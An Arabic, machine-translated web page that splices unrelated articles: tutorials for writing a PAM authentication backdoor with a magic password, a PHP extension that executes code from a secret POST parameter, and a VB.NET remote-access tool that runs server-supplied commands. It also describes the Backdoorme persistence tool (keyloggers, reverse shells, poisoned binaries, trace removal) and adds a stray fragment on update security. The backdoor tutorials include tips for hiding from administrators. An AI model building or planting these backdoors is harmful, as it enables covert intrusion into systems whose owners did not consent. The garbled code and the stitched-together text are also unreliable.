قائمة طعام
مجاني
التسجيل
الصفحة الرئيسية  /  النصيحة/ كتابة باب خلفي. أداة عالمية لتثبيت الأبواب الخلفية: ما الخطأ في تحديثات النظام

نحن نكتب باب خلفي. أداة عالمية لتثبيت الأبواب الخلفية: ما الخطأ في تحديثات النظام

هناك العديد من الطرق للحصول على موطئ قدم على جهاز تم اختراقه. من أكثر الأشياء شيوعًا والتي يسهل اكتشافها (أضف نفسك إلى قاعدة المستخدم) إلى وحدات النواة المعقدة التي تنفذ غلافًا عكسيًا إلى جهاز بعيد. لكن من بينها طريقة سهلة التنفيذ وسرية إلى حد ما لا يعرفها سوى قلة من الناس. هذا تعديل للوحدات النمطية لنظام مصادقة PAM ، والذي تستخدمه جميع أنظمة UNIX الحديثة.

ما هو بام

وحدات المصادقة القابلة للتوصيل (PAM) هي مجموعة من واجهات برمجة التطبيقات المطلوبة لتنفيذ آليات المصادقة في التطبيقات المختلفة.

قبل ظهور PAM ، من أجل تنفيذ المصادقة ، على سبيل المثال ، باستخدام بطاقة مفتاح ، كان على المطورين إضافة رمز دعم لبطاقات المفاتيح هذه إلى كل مكون من مكونات النظام المسؤول عن مصادقة المستخدم. وهذا يعني أنه كان من الضروري إضافة وإعادة إنشاء أداة تسجيل الدخول المساعدة ، sshd ، بالإضافة إلى أي برنامج آخر تم التخطيط لإضافة هذه الوظيفة إليه.

مع ظهور حزب الأصالة والمعاصرة ، أصبحت الأمور أكثر بساطة. الآن ، من أجل إضافة بروتوكول المصادقة الفريد المكتوب ذاتيًا إلى النظام ، يكفي تنفيذه داخل وحدة PAM واحدة. وستقوم جميع الأدوات والتطبيقات التي يمكنها العمل مع PAM باستلامها واستخدامها لمصادقة المستخدم.

من الناحية العملية ، يبدو الأمر كما يلي: تصل أداة تسجيل الدخول المساعدة إلى PAM ، والتي تقوم بإجراء جميع عمليات الفحص اللازمة باستخدام الوحدات النمطية المحددة في ملف التكوين وإرجاع النتيجة مرة أخرى إلى أداة تسجيل الدخول المساعدة. ملائم ، أليس كذلك؟ ومع ذلك ، يحتوي هذا النهج على فرص يمكننا استخدامها لترسيخ النظام.

يجدر تقديم إخلاء صغير. هناك ثلاثة تطبيقات رئيسية لـ PAM:

  • Linux-PAM هو التطبيق الرئيسي لـ PAM على أي نظام Linux ؛
  • OpenPAM - يستخدم في أنظمة BSD و macOS ؛
  • JPam هو تطبيق PAM لتطبيقات Java.

لن نركز على أي تنفيذ محدد. الوظيفة الأساسية هي نفسها في كل مكان.

جوانب التثبيت في * لا شىء باستخدام PAM

يمكنك العثور على إعدادات PAM لكل تطبيق في الكتالوج /etc/pam.d(Linux) أو /etc/pam.conf. مثال على ملف التكوين لأداة تسجيل الدخول المساعدة على macOS:

المصادقة اختيارية pam_krb5. so use_kcminit

المصادقة اختيارية pam_ntlm. لذا حاول_first_pass

المصادقة اختيارية pam_mount. لذا try_first_pass

المصادقة مطلوبة pam_opendirectory. لذا حاول_first_pass

مطلوب الحساب pam_nologin

مطلوب حساب pam_opendirectory .so

كلمة المرور مطلوبة pam_opendirectory .so

الجلسة المطلوبة pam_launchd .so

الجلسة المطلوبة pam_uwtmp .so

جلسة اختيارية pam_mount .so

لنكتشف نوع السحر الذي يحدث هنا.

يصف ملف التكوين قواعد التحقق التي يجب اتباعها من أجل مصادقة المستخدم الناجحة أو تنفيذ إجراءات أخرى (تغيير كلمة المرور ، وإعداد بيئة المستخدم). يحتوي كل سطر من ملف التكوين على قاعدة واحدة. يتم تنفيذ عمليات الفحص سطرا سطرا.

من اليسار إلى اليمين: نوع الوحدة ، control_flag ، اسم الوحدة. نوع وحدة المصادقة يهمنا بشكل أساسي ، هذه الوحدات هي المسؤولة عن المصادقة. Control_flag هي خاصية للوحدة النمطية. يمكن أن يأخذ القيم التالية:

  • مطلوب (مطلوب) - إذا قامت الوحدة بإرجاع استجابة إيجابية ، يتم تنفيذ باقي السلسلة ويتم قبول الطلب. إذا قامت الوحدة بإرجاع استجابة سلبية ، فسيتم رفض الطلب على الفور ولا يتم إجراء أي فحوصات أخرى ؛
  • مطلوب - تمامًا مثل المطلوب: إذا كانت الإجابة بنعم ، فسيتم تنفيذ باقي سلسلة عمليات التحقق. الاختلاف الوحيد هو أنه في حالة وجود إجابة سلبية ، يستمر تنفيذ سلسلة الشيكات ، ولكن يتم رفض الطلب ؛
  • كافٍ - يلبي الطلب إذا لم يعمل أي من عمليات التحقق السابقة في السلسلة بشكل سلبي. إذا عملت الوحدة بشكل سلبي ، يتم تجاهل النتيجة وتتم معالجة سلسلة الفحوصات بشكل أكبر ؛
  • اختياري - تتم معالجة الوحدة النمطية ، لكن يتم تجاهل النتيجة.

بالفعل في هذه المرحلة ، ربما أدركت أنه من خلال إجراء تغييرات صغيرة على ملف التكوين ، يمكننا ضمان تسجيل دخول ناجح إلى النظام بأي كلمة مرور (ما عليك سوى تحديد جميع وحدات المصادقة على أنها اختيارية). لكن هذا الحل سيعمل حتى يلاحظ المستخدم أو المسؤول الشرعي أنه نجح في تسجيل الدخول إلى النظام حتى باستخدام كلمة مرور خاطئة.

كتابة وحدة الباب الخلفي الخاصة بك

يسمح لنا PAM بتوصيل وحدات المصادقة الخاصة بنا. لذلك ، يمكننا إنشاء وحدة باستخدام كلمة مرور "سحرية" والتأكد من أن النظام يقبل كلمات مرور المستخدم القياسية وكلمات المرور الخاصة بنا. إذا أدخلنا كلمة مرور غير صحيحة ، فسنرى خطأ المصادقة المتوقع تمامًا. ليس خيارا سيئا.

إذن ، هذا هو الرمز (لا تنسَ استبدال كلمة المرور السحرية بكلمة المرور "السحرية"):

#يشمل

#يشمل

#يشمل

#يشمل

#يشمل

#يشمل

#define MYPASSWD "كلمة المرور السحرية"

PAM_EXTERN int pam_sm_setcred (pam_handle_t * pamh ، int flags ، int argc ، const char * * argv) (

عودة PAM_SUCCESS ؛

PAM_EXTERN int pam_sm_acct_mgmt (pam_handle_t * pamh ، int flags ، int argc ، const char * * argv) (

عودة PAM_SUCCESS ؛

PAM_EXTERN int pam_sm_authenticate (pam_handle_t * pamh ، int flags ، int argc ، const char * * argv) (

char * password = NULL ؛

pam_get_authtok (pamh ، PAM_AUTHTOK ، (const char * *) & password ، NULL) ؛

إذا (! strncmp (password، MYPASSWD، strlen (MYPASSWD)))

عودة PAM_SUCCESS ؛

عودة - 1 ؛

دعونا نبني الوحدة:

sudo apt - get install libpam0g - dev gcc

$ دول مجلس التعاون الخليجي - fPIC - c pam_backdoor .c

$ ld - x - Shared - o pam_backdoor .so pam_backdoor .o

ووضعه في الدليل مع وحدات أخرى:

sudo chown root: الجذر pam_backdoor .so

sudo cp pam_backdoor .so / lib / x86_64 - لينكس - gnu / الأمن /

لاحظ أن الطريق / lib / x86_64-linux-gnu / الأمان /خاص بـ Debian / Ubuntu. في Fedora و Red Hat و CentOS ، توجد الوحدات النمطية في الدليل / lib64 / الأمن /وعلى Arch Linux في الدليل / lib / security /.

كل ما تبقى الآن هو تكوين PAM بطريقة تجعل التحقق من صحة الوحدة الخاصة بك كافياً للمصادقة الناجحة. على سبيل المثال ، التكوين الخاص بـ su ( /etc/pam.d/su):

في بعض أنظمة Linux ، يمكن وضع إعدادات المصادقة في عدة ملفات: المصادقة المشتركة وكلمة المرور المشتركة والجلسة المشتركة ثم توصيلها بملفات التكوين لأدوات مساعدة معينة عبر تضمين @. يجب أن تؤخذ هذه النقطة في الاعتبار.

بعد إجراء الإعدادات في التكوين ، ستبدأ أداة su في التشغيل باستخدام كلمة المرور المحددة في الوحدة. يمكن تنفيذ نفس الحيلة باستخدام أداة تسجيل الدخول المساعدة (تسجيل الدخول إلى وحدة التحكم) و sshd لتسجيل الدخول عن بُعد.

تضمين الباب الخلفي في وحدة موجودة

أثناء تحرير تهيئة PAM ، ربما لاحظت الوحدة النمطية pam_unix.so. هذه الوحدة مسؤولة عن مصادقة المستخدم باستخدام قاعدة كلمة مرور UNIX القياسية / etc / passwd... يتم استخدامه من قبل العديد من الأدوات المساعدة ، بما في ذلك su و login و sshd والبرامج الأخرى (مثل SecureFTPd).

نظرًا لأن PAM لا يزال مفتوح المصدر ولدينا وصول إلى الكود المصدري لكل من البرنامج الخفي نفسه ومكوناته القياسية ، يمكننا تضمين الباب الخلفي مباشرةً في هذه الوحدة.

لإجراء التغييرات اللازمة ، قم بتنزيل مصادر PAM:

$ http: / / www .linux - pam .org / library / Linux - PAM - 1.1.8.tar.gz

tar - xzf inux - PAM - 1.1.8.tar.gz

فتح الملف Linux-PAM-1.1.8 / modules / pam_unix / pam_unix_auth.cوالبحث عن الأسطر التالية:

نقوم بجمع واستبدال الوحدة الأصلية بوحدتنا:

$. / تهيئة

$ صنع

sudo cp Linux - PAM - 1.1.8 / modules / pam_unix / .libs / pam_unix .so / lib / x86_64 - Linux - gnu / security /

لمنع المسؤول من ملاحظة الاستبدال ، نقوم بتغيير وقت إنشاء الملف بحيث يتزامن مع وقت إنشاء الوحدات النمطية الأخرى.

اليوم سنتحدث عن كتابة باب خلفي PHP كامتداد. عادةً ما تترك معظم المفرقعات جزءًا من التعليمات البرمجية في البرامج النصية المخصصة. وبطبيعة الحال ، يمكن العثور على مثل هذه الأشياء بسهولة بفضل. فوائد التمديد واضحة:

  • يصعب العثور عليه
  • تجاوز تعطيل_وظائف
  • القدرة على التحكم في الكود بأكمله
  • الوصول إلى تنفيذ التعليمات البرمجية بواسطة معلمة سرية

لكن في هذه الحالة كانت هناك بعض العيوب ، فأنت بحاجة إلى القدرة على تحرير ملف تكوين php.

كمثال ، سأكتب تحت Windows. لقد استخدمت Visual Studio 2012 Express Edition لكتابة الامتداد. ستحتاج أيضًا إلى مصادر إصدار PHP المطلوب والمكتبات المُجمَّعة (يمكنك الإنشاء من نفس المصادر). للتبسيط ، قم بتنزيل المصادر أيضًا.

فك ضغط PHP المترجم إلى C: \ php ، والمصادر إلى C: \ php-src.

ثم تحتاج إلى إجراء بعض إعدادات VS.

1) إضافة تعريفات المعالج المسبق:
ZEND_DEBUG = 0
ZTS = 1
ZEND_WIN32
PHP_WIN32

2) أضف أدلة لتوصيل المصادر: C: \ php-src \ main؛ C: \ php-src \ Zend؛ C: \ php-src \ TSRM؛ C: \ php-src \ regex؛ C: \ php-src

3) أضف دليلًا إضافيًا باستخدام php5ts.lib ( C: \ php \ dev)


4) إضافة اتصال مكتبة php5ts.lib.


5) حدد المسار إلى الملف المجمع.


بعد تكوين معلمات الاستوديو لتطوير الامتداد (يمكنك قراءة المزيد عنها) ، فلنقم بإنشاء مشروع باب خلفي جديد من النوع "Win32 Console Application".


حدد النوع: "مكتبة DLL"

ثم قم بإزالة الملفات غير الضرورية من المشروع. يجب أن تترك فقط مستتر, stdafx.cppو stdafx.h.
إلى ملف الرؤوس stdafx.hضع الكود التالي:

#pragma مرة #ifndef STDAFX #define STDAFX # تضمين "zend_config.w32.h" # تضمين "php.h" #endif

الآن دعنا ننتقل مباشرة إلى كود التمديد. دعنا نحذف جميع الأسطر ونضيف اتصالات الملفات الضرورية.

# تضمين "stdafx.h" #include "zend_config.w32.h" #include "php.h"

إذا كانت إعدادات الاستوديو صحيحة ، فستختفي التحذيرات. عند تهيئة وحدة نمطية ، توجد عدة أحداث ، يحدث كل منها في ظل ظروف معينة. نحتاج إلى تنفيذ الكود الخاص بنا أثناء تنفيذ الطلب. للقيام بذلك ، نحتاج إلى التهيئة باستخدام الوظيفة التي نحتاجها ، اخترت "hideme" كاسم.

PHP_RINIT_FUNCTION (مخفي) ،

بعد ذلك ، يمكنك المتابعة لتهيئة الوحدة.

Zend_module_entry hideme_ext_module_entry = (STANDARD_MODULE_HEADER ، "باب خلفي بسيط" ، NULL ، NULL ، NULL ، PHP_RINIT (hideme) ، NULL ، NULL ، "1.0" ، STANDARD_MODULE_PROPERTIES) ؛ ZEND_GET_MODULE (hideme_ext) ،

كما كتبت بالفعل ، نحتاج فقط إلى تنفيذ الكود في وقت الطلب ، لذلك يتم استبدال التشغيل عند تحميل الوحدة وتفريغها بـ NULL. الآن يمكنك الذهاب إلى جسم الوظيفة hideme.

PHP_RINIT_FUNCTION (hideme) (طريقة char * = "_POST" ؛ // مجموعة superglobal ، والتي نأخذ منها المعلمة والقيمة char * secret_string = "secret_string" ؛ // المعلمة التي ستحتوي على الكود الشرير zval ** arr؛ char * كود ؛ if (zend_hash_find (& EG (symbol_table)، method، strlen (الطريقة) + 1، (void **) & arr)! = FAILURE) (HashTable * ht = Z_ARRVAL_P (* arr)؛ zval ** val؛ if (zend_hash_find (ht، secret_string، strlen (secret_string) + 1، (void **) & val)! = FAILURE) (// ابحث عن المعلمة المطلوبة في كود جدول التجزئة = Z_STRVAL_PP (val) ؛ // قيمة المعلمة zend_eval_string (code، NULL، (char *) "" TSRMLS_CC)؛ // تنفيذ الكود)) إرجاع النجاح ؛)

يجب أن يكون واضحا من التعليقات. في البداية ، قمنا بتعيين المعلمات طريقةو سلسلة_السر... ثم ننتقل من خلال المصفوفة المحددة ونبحث عن معامل بمفتاح مناسب ، إن وجد ، نأخذ قيمة منه وننفذ الكود من خلاله zend_eval_string.

بعد التجميع ، نحصل على مكتبة يمكن استخدامها كامتداد.

مظاهرة على جنو لينكس

عرض توضيحي على Windows:

مرحباً بالجميع) كما لاحظت بالفعل ، سأخبرك اليوم كيف تكتب الباب الخلفي الخاص بك "بأي لغة" (إذا كنت تعرف كيفية كتابة البرامج ولديك الخيال).

لنبدأ بحقيقة أننا نحتاج أولاً إلى إنشاء رابط بين المسؤول والعميل. لهذا نستخدم PHP و 5 أسطر فقط من التعليمات البرمجية)

if ($ _GET ["cmd"]! = "cmd_clear") ($ cmd = fopen ("cmd.txt"، "w +")؛ // أنشئ ملفًا فارغًا ، إذا كان هناك واحد ، امسحه. fwrite ( $ cmd، $ _GET ["cmd"])؛ // ادفع ما هو موجود في المعلمة "cmd" ، وكما نتذكر كان هناك "msg (HelloWorld!)" Fclose ($ cmd) ؛ // أغلق الملف خلفنا ) else ($ cmd = fopen ("cmd.txt"، "w") ؛ // قم بإنشاء ملف جديد (على سبيل المثال امسح cmd.txt الخاص بنا) fclose ($ cmd) ؛ // أغلق الملف خلفنا)


لقد وجدت هذا الرمز في مكان ما على الإنترنت.
سيترك هذا الرمز أوامر للباب الخلفي لدينا)

لذلك دعنا ننتقل إلى لوحة الإدارة ، أولاً نرسم على النموذج زرًا ومربع نص ، ومتصفح ويب ، أضعه في النموذج الثاني ، بحيث لا يتعارض معي)

بعد ذلك ، دعنا ننتقل إلى الكود

نشير إلى موقعنا بحيث يتم تحميله عند بدء البرنامج) ونعلن أنه متغير عالمي

عام www كـ String Private Sub Form1_Load (ByVal sender As System.Object، ByVal e As System.EventArgs) يعالج MyBase.Load www = "http: // localhost /" End Sub

دعنا نعيد إحياء الزر حيث نقول لإرسال طلب GET إلى لوحة الإدارة الخاصة بنا على الموقع ، بعد cmd = فريقنا) ستكون علامة msg مطلوبة لاحقًا للمعالجة من قبل العميل.

Private Sub Button1_Click (المرسل ByVal باسم System.Object ، ByVal e As System.EventArgs) مقابض Button1. انقر فوق Form2.WebBrowser1.Navigate (www & "rat / admin.php؟ Cmd =< msg>"& TextBox1.Text &"< /msg>") TextBox1.Text =" "End Sub

لوحة الإدارة لدينا جاهزة)

دعنا ننتقل إلى العميل) لا نرمي أي شيء على النموذج ، باستثناء المؤقت)

دعنا نكتب المؤقت الذي سيفحص برنامجنا من خلاله الموقع (ملف cmd.txt) وبالطبع يبدأ المؤقت بالبرنامج)) تمامًا كما هو الحال في لوحة الإدارة ، سنعلن عن المتغيرات العامة ، والآن يوجد اثنان منهم ، ونحتاج أيضًا إلى ربط مكتبتين

Imports System.Text يستورد System.IO Public WC كـ New System.Net.WebClient عام www كـ String Private Sub Form1_Load (ByVal sender As System.Object، ByVal e As System.EventArgs) يعالج MyBase.Load www = "http: // localhost / "Timer1.Enabled = True Timer1.Interval = 5000 End Sub

للراحة ، قمت بعمل تأخير مصطنع

حسنًا ، الآن رمز المؤقت نفسه ، أي ما يجب تنفيذه) أولاً ، تحليل بياناتنا) لهذا حددنا علامة msg ، حسنًا ، ثم باستخدام أمر Shell ، نطلق سطر الأوامر بالأوامر المحددة)

مؤقت فرعي خاص 1_Tick (مرسل ByVal كـ System.Object ، ByVal e As System.EventArgs) يعالج Timer1.Tick Dim R () كسلسلة = ("< msg>") Dim L () كسلسلة = ("< /msg>") قم بتعتيم myHttpWebRequest كـ Net.HttpWebRequest = Net.HttpWebRequest.Create (www &" rat / cmd.txt ") Dim myHttpWebResponse كـ Net.HttpWebResponse = myHttpWebRequest.GetResponse () .Text.Enc. String = myStreamReader.ReadToEnd () If InStr (Str، R (0)) 0 ثم خافت Tmp كسلسلة = Str.Split (R، StringSplitOptions.None) (1) Dim Res As String = Tmp.Split (L، StringSplitOptions. بلا) (0) WC.DownloadString (www & "rat / admin.php؟ Cmd = clear_cmd") انتظر (2) Shell ("cmd.exe" + Res) Else End If End Sub


ملاحظة. إذا كنت مهتمًا بهذه المقالة ، فسأقوم في المرة القادمة بكتابة مقال حول كيفية إخفاء تصرفات عميلنا.

Backdoorme - أداة لإنشاء أبواب خلفية تلقائيًا

Backdoorme هي أداة مساعدة قوية يمكنها إنشاء العديد من الأبواب الخلفية على أجهزة Unix. يستخدم Backdoorme واجهة metasploit المألوفة مع قابلية توسع مذهلة. يعتمد Backdoorme على ملكية اتصال أو بيانات اعتماد SSH الحالية للضحية ، والتي يمكن من خلالها المرور ووضع أي ثغرة. الرجاء استخدام Backdoorme بإذن مفتوح.

مخفية عن الضيوف


يأتي Backdoorme مباشرة من الصندوق مع عدد من الأبواب الخلفية المدمجة والوحدات والوحدات المساعدة. الأبواب الخلفية هي مكونات محددة لبناء ونشر الباب الخلفي المطلوب مثل netcat backdoor أو msfvenom backdoor. يمكن تطبيق الوحدات النمطية على أي باب خلفي ، وتُستخدم لجعل الأبواب الخلفية أكثر قوة ، أو مخفية ، أو تعطيلها بشكل أسرع. الغواصات هي عمليات مفيدة يمكن إجراؤها للمساعدة في الحفاظ على الدوام.

المزيد عن الأبواب الخلفية:لتشغيل backdoorme ، تأكد من أن لديك التبعيات المطلوبة.

تبعيات بيثون $

إطلاق Backdoorme:

$ python master.py

أبواب خلفية

لاستخدام الباب الخلفي ، ما عليك سوى تشغيل الكلمة الأساسية "استخدام".

>> استخدم shell / metasploit + استخدام الهدف الحالي 1. + استخدام Metasploit backdoor ... (msf) >>

من هناك يمكنك ضبط الخيارات لتتناسب مع الباب الخلفي. قم بتشغيل إما "إظهار الخيارات" أو "المساعدة" لعرض قائمة بالخيارات التي يمكن تهيئتها.

كما هو الحال مع metasploit ، يتم تنظيم الأبواب الخلفية في فئات.

  • مساعد
    • كيلوجر- يضيف keylogger إلى النظام ويجعل خيار إرسال النتائج بالبريد متاحًا لك ؛
    • بسيط- تثبيت خادم python SimpleHTTP على العميل.
    • المستعمل- يضيف مستخدم جديد إلى الهدف.
    • الويب- تثبيت خادم Apache على العميل.
  • التصعيد (فئة الامتداد)
    • ستويد- يعمل الباب الخلفي SetUID عن طريق تعيين بت setuid على الملف التنفيذي ، بافتراض أن المستخدم لديه حق الوصول إلى الجذر. وبالتالي ، عندما يتم تشغيل هذا الملف القابل للتنفيذ لاحقًا بواسطة مستخدم ليس لديه حق الوصول إلى الجذر ، يتم تنفيذ الملف المحدد مع الوصول إلى الجذر. افتراضيًا ، يقوم هذا الباب الخلفي بتحويل بت setuid إلى nano ، بحيث إذا فقد الوصول إلى الجذر بأي شكل من الأشكال ، يمكن للمهاجم العودة إلى SSH كمستخدم غير متميز وسيظل قادرًا على تشغيل nano (أو أي خيار ثنائي مفضل) كجذر. ("نانو / الخ / الظل"). لاحظ أنه من أجل نشر هذا الامتداد الخلفي ، يلزم الوصول إلى الجذر في البداية.
    • صدفة- shell backdoor هو امتداد مستتر ذو امتياز مشابه لملحق SetUID الخاص به (ولكنه أكثر تحديدًا). تقوم بتكرار غلاف bash إلى ثنائي مخفي وتعيين بت SUID. لاحظ أن الوصول إلى الجذر مطلوب في البداية لنشر هذا الامتداد الخلفي. لاستخدام هذا الباب الخلفي إذا كان SSH يعمل كمستخدم غير مميز ، ما عليك سوى تشغيل ".bash -p" وسيكون لديك حق الوصول إلى الجذر.
  • شل (فئة شل)
    • سحق- يستخدم سكربت bash بسيطًا للاتصال بمجموعة معينة من IP والمنافذ وتوجيه النتيجة إلى bash.
    • باش 2- الباب الخلفي bash المختلف قليلاً (والأكثر أمانًا) الموصوف أعلاه ، والذي لا يطالب العميل بكلمة مرور.
    • ميتاسبلويت- يستخدم msfvenom لإنشاء reverse_tcp binary على الهدف ، ثم يقوم بتشغيل ثنائي للاتصال بغلاف meterpreter.
    • netcat- يستخدم netcat لتمرير الإدخال والإخراج القياسي إلى / bin / sh ، مما يمنح المستخدم غلافًا تفاعليًا.
    • netcat_traditional- يستخدم netcat-Traditional "s -e لإنشاء غلاف عكسي.
    • بيرلهو نص مكتوب بلغة perl يعيد توجيه النتيجة إلى bash ويعيد تسمية العملية لجعلها تبدو أقل بروزًا.
    • بي أتش بي- يدير php backdoor الذي يرسل النتيجة إلى bash. لا يقوم بتثبيت خادم الويب تلقائيًا ، ولكنه يستخدم بدلاً من ذلك وحدة الويب.
    • جرو- يستخدم الباب الخلفي n1nj4sec Pupy الموجود على

      مخفية عن الضيوف

      .
    • الثعبان- يستخدم نصًا قصيرًا من لغة python لتنفيذ الأوامر وإرسال النتائج مرة أخرى إلى المستخدم.
    • الويب- يرسل خادم الويب إلى الهدف ، ثم يقوم بتنزيل msfvenom php reverse_tcp backdoor ويتصل بالمضيف. على الرغم من أن هذا لا يزال مستترًا في php ، إلا أنه يختلف عن php backdoor الموصوف أعلاه.
  • وصول
    • remove_ssh- يزيل خادم ssh على العميل. إنه مناسب جدًا للاستخدام في نهاية جلسة الباب الخلفي لإزالة أي آثار.
    • ssh_key- يقوم بإنشاء مفتاح RSA ونسخه إلى الهدف للاتصال بدون كلمة مرور ssh.
    • ssh_port- يضيف منفذ جديد لـ ssh.
  • Windows (فئة Windows)
    • شبابيك- يستخدم msfvenom لإنشاء باب خلفي للويندوز.
الوحدات

كل باب خلفي لديه القدرة على الحصول على وحدات إضافية ، والتي تستخدم لجعل الباب الخلفي أكثر قوة. لإضافة وحدة ، ما عليك سوى استخدام الكلمة الأساسية "إضافة".

(msf) >> إضافة وحدة السم + السم

تحتوي كل وحدة نمطية على خيارات إضافية قابلة للتكوين وإذا تم إعادة تشغيل "التعليمات" ، يمكنك رؤية أو تعيين أي خيارات إضافية.

تشمل الوحدات المتاحة حاليًا ما يلي:

  • سم
    • إنتاج كمبيوتر هدف تسمم بن - يقوم بتجميع ملف تنفيذي لاستدعاء أداة مساعدة للنظام وباب خلفي موجود.
    • على سبيل المثال ، إذا تم تشغيل وحدة صندوق التسمم باستخدام "ls" ، فسوف تقوم بتجميع وتنزيل ثنائي يسمى "ls" يعمل على تشغيل كل من الباب الخلفي الحالي و "ls" الأصلي ، مما يؤدي إلى تعطيل المستخدم لتشغيل الباب الخلفي في كثير من الأحيان .
  • كرون
    • يضيف بابًا خلفيًا موجودًا إلى crontab المستخدم الجذر للتشغيل بالتردد المحدد.
  • الويب
    • يثبت خادم ويب ويستضيف صفحة ويب تدير الباب الخلفي.
    • يذهب فقط إلى الموقع مع مستمع مفتوح ويتم إطلاق الباب الخلفي.
  • مستخدم
    • يضيف مستخدم جديد إلى الهدف.
  • بدء
    • يسمح بإنشاء أبواب خلفية باستخدام ملفات bashrc و init.
  • القائمة البيضاء
    • يُدرج عنوان IP في القائمة البيضاء بحيث يمكن فقط لعنوان IP هذا الاتصال بالباب الخلفي.
ترجمة:

في مدونتنا على Habré ، لا نتحدث فقط عن تطوير منتجنا - الفوترة لمشغلي الاتصالات "Hydra" ، بل ننشر أيضًا مواد حول العمل مع البنية التحتية واستخدام التقنيات.

كتب الصحفي والمتسلل الألماني Leif Ryge مقالًا مثيرًا للاهتمام لـ Ars Technica مفاده أن النهج الحديث لتنظيم تحديثات البرامج ينطوي على مخاطر جسيمة في أمن المعلومات. نقدم انتباهكم إلى الأفكار الرئيسية لهذا المنشور.

خلفية

في عام 2014 ، كتبت الواشنطن بوست أن شركات مثل آبل وجوجل كان يجب أن تبتكر شيئًا مثل المفتاح السري الذي يمكنهم من خلاله الوصول إلى منتجاتهم والذي يمكنهم تخزينه ونقله إلى الخدمات الخاصة فقط إذا تلقوا حلولًا قانونية " .

يجب أن يصبح التخلص من "الروابط الضعيفة" ، التي يمكن أن يصبح الهجوم على كل منها أمرًا بالغ الأهمية ، مطلبًا أساسيًا لأي آلية جديدة لتوزيع البرامج.